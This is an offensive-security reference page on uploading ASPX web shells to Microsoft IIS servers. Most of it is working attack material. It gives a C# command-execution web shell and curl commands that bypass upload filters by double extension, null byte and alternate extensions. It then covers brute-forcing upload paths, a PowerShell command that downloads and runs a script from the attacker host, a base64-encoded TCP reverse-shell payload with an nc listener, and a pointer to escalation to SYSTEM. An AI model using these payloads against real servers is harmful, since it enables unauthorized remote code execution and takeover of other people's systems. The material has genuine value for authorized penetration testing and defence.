# IIS ASPX Web Shell Upload

> Exploit IIS misconfigurations to upload and execute ASPX web shells, gaining remote code execution on Windows servers running IIS.

- **URL:** https://hackindex.io/services/iis/exploitation/iis-aspx-web-shell-upload
- **Path:** IIS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/iis/exploitation.md)
- **Published:** 2026-03-30
- **Updated:** 2026-08-11

ASPX web shells execute in the context of the IIS application pool identity: typically `IIS APPPOOL\DefaultAppPool` or a named service account. Getting an ASPX file into a web-accessible path and triggering its execution provides the initial foothold on the Windows host. This page covers shell delivery via WebDAV, file upload endpoints, and extension bypass techniques. WebDAV upload is covered in [IIS WebDAV exploitation](https://hackindex.io/services/iis/exploitation/iis-webdav-exploitation).

The app pool identity is a low-privileged account by default. It often holds SeImpersonatePrivilege, which enables Potato-family privilege escalation. Run `whoami /priv` once you have execution to confirm available privileges. Named service accounts configured on the app pool may have broader filesystem or domain access. Confirm the actual identity before making assumptions about scope.

Shell delivery methods for IIS:

- WebDAV PUT upload (see IIS WebDAV exploitation)
- Application file upload endpoint with extension bypass
- PUT then MOVE rename from .txt to .aspx

ASPX execution requires the .aspx handler to be registered in IIS. If the handler mapping is missing, IIS serves the raw file instead of executing it. A 200 response that echoes your shell source confirms the file was served but not run.

## Minimal ASPX Web Shell

The simplest C# ASPX shell that executes commands via the cmd parameter:

This shell reads from the cmd query parameter and pipes the value through cmd.exe. Only stdout is captured. Stderr is not redirected, so failed commands return blank output. The file must land in a web-accessible directory where IIS maps .aspx to the ASP.NET runtime. Windows Defender flags this exact shell by signature. If the request returns 200 with no output, check whether AV removed the file or the handler is not configured. Use `curl -vsk` and look for a non-empty response body to confirm execution.

```
<%@ Page Language="C#" %>
<%
if(Request["cmd"] != null) {
    var proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + Request["cmd"];
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    Response.Write(proc.StandardOutput.ReadToEnd());
}
%>
```

```bash
curl -sk "http://$TARGET_IP/shell.aspx?cmd=whoami"
# iis apppool\defaultapppool
```

## File Upload Extension Bypass

When a file upload endpoint validates by extension, test these bypass techniques in order. A 200 or 201 response means the server accepted the file. Acceptance does not confirm execution. You still need to locate the upload path and trigger the file over HTTP. Also test changing the Content-Type header to `image/jpeg` while keeping the .aspx extension. Some endpoints validate MIME type server-side but not the filename extension. If the server renames uploaded files on save, your bypass extension may not persist. Check the actual filename from the response before attempting execution.

```bash
# Double extension bypass
curl -sk -F 'file=@shell.aspx;filename=shell.aspx.jpg' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|path|200|201'
```

```bash
# Null byte bypass
curl -sk -F 'file=@shell.aspx;filename=shell.aspx%00.jpg' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|path|200|201'
```

```bash
# Alternate ASP.NET extensions
for ext in aspx asp ashx asmx axd cshtml; do
  code=$(curl -sk -F "file=@shell.aspx;filename=shell.$ext" http://$TARGET_IP/upload.aspx -o /dev/null -w '%{http_code}');
  echo "$code shell.$ext";
done
# 200 shell.aspx
# 200 shell.ashx
# 403 shell.asp
```

## Locate the Upload Path

After a successful upload, find where the file was stored. The Location response header is the most direct indicator. Some applications return the path in the response body as an href or JSON field. Grep the full verbose output for path, href, src, and url strings. If nothing reveals the location, brute-force common upload directories with HEAD requests. A 200 on a HEAD request to a guessed path confirms the file is present. Watch for applications that randomize filenames on save. A randomized filename defeats execution even if the upload succeeded.

```bash
curl -sk -F 'file=@shell.aspx' http://$TARGET_IP/upload.aspx -v 2>&1 | grep -iE 'location|href|src|path|url'
# Location: /uploads/shell.aspx
```

```bash
for path in uploads upload files images content media tmp UserFiles; do code=$(curl -skI http://$TARGET_IP/$path/shell.aspx | grep HTTP | awk '{print $2}'); echo "$code /$path/shell.aspx"; done
# 200 /uploads/shell.aspx
# 404 /upload/shell.aspx
```

## Get a Reverse Shell

Set up the listener and deliver a PowerShell reverse shell through the ASPX web shell. URL-encode the command. Start the listener before sending the curl request. The curl command will hang while the shell is active. If the connection drops immediately, Defender likely killed the PowerShell process. The base64 payload must be UTF-16LE encoded, which the `iconv -t UTF-16LE` command handles. Encoded commands bypass some basic script block logging but do not evade AMSI.

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP/uploads/shell.aspx" --get --data-urlencode "cmd=powershell -e $(echo -n "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')" | iconv -t UTF-16LE | base64 -w0)"
```

Alternatively, use a direct PowerShell reverse shell without a hosted file. This avoids the outbound HTTP request from the target to your attacker machine. Use this when outbound HTTP from the target is restricted. The entire payload travels in the URL query string. IIS limits URLs to 4096 bytes by default. Very long payloads may get silently truncated. Use a POST request with the command in the request body if the GET approach fails.

```bash
PAYLOAD=$(echo -n "\$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" | iconv -t UTF-16LE | base64 -w0)
curl -sk "http://$TARGET_IP/uploads/shell.aspx" --get --data-urlencode "cmd=powershell -enc $PAYLOAD"
```

When this technique fails, confirm write access to the upload directory first. The app pool identity must have write permission. If uploads return 200 but the file does not execute, the app may save outside the web root. WAFs commonly inspect file content on upload and block ASPX regardless of extension tricks. Try obfuscating the shell by splitting string literals or renaming variables. The `.ashx` and `.asmx` extensions also map to the ASP.NET runtime and may bypass extension filters. A shell running as `IIS APPPOOL\DefaultAppPool` with SeImpersonatePrivilege is a direct path to SYSTEM using PrintSpoofer or GodPotato.

## References

- [PayloadsAllTheThings: Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files) - ASPX shell payloads and extension bypass techniques
- [ASPX Reverse Shell](https://github.com/borjmz/aspx-reverse-shell) - Ready-made ASPX reverse shell payloads for IIS
